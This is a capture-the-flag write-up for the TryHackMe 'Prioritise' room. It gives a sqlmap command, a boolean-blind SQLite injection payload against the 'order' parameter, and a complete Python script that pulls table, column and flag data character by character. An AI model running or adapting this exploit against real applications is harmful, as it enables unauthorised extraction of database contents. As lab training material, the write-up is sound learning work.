TryHackMe Prioritise Writeup
Explore the fundamentals of cybersecurity in the Prioritise Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.21.39 prioritise.thm
Script to add hosts automatically
ip="10.10.21.39"
domain="prioritise.thm"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
I found the blind SQL injection payload using sqlmap:
sqlmap -u "http://10.10.220.150/?order=" --level=5 --risk=3 --batch
The payload identified by sqlmap is as follows:
---
Parameter: order (GET)
Type: boolean-based blind
Title: SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
Payload: order=-7076 OR CASE WHEN 1536=1536 THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END
---
Even though I could use sqlmap to fully exploit this vulnerability, I wanted to create a custom script to perform the SQL injection manually.
#!/usr/bin/env python3
import requests
import sys
import string
url = "http://prioritise.thm/"
chars = list(string.ascii_letters + string.digits + "_") + [chr(i) for i in range(33, 127) if chr(i) not in string.ascii_letters + string.digits + "_"]
s = requests.Session()
ok = s.get(url + "?order=-7076 OR CASE WHEN 1536=1536 THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END").content
max_retries = 3
results = {}
def brute_force(action, position, c, table_name='', column_name=''):
payloads = {
"table": f"?order=-7076 OR CASE WHEN (SELECT substr(name,{position},1) FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 1)='{c}' THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END",
"column": f"?order=-7076 OR CASE WHEN (SELECT substr(name,{position},1) FROM pragma_table_info('{table_name}'))='{c}' THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END",
"flag": f"?order=-7076 OR CASE WHEN (SELECT substr({column_name},{position},1) FROM {table_name})='{c}' THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END"
}
return s.get(url + payloads[action])
def brute_force_action(action):
ans = []
position = 1
table_name = results.get('table', '')
column_name = results.get('column', '')
while True:
found = False
stop = True
for c in chars:
retries = 0
while retries < max_retries:
try:
sys.stdout.write(f"\r{action.capitalize()} so far: {''.join(ans)}{c}")
response = brute_force(action, position, c, table_name, column_name)
if response.content == ok:
ans.append(c)
found = True
stop = False
break
else:
break
except Exception:
retries += 1
if found:
break
if stop:
break
position += 1
result = ''.join(ans).rstrip()
results[action] = result
sys.stdout.write(f"\r\033[K{action.capitalize()} found: {result}\n")
if __name__ == "__main__":
try:
for action in ["table", "column", "flag"]:
brute_force_action(action)
except KeyboardInterrupt:
sys.stdout.write("\nUser interrupted the process. Exiting gracefully...\n")
sys.exit(0)
chmod +x flag
./flag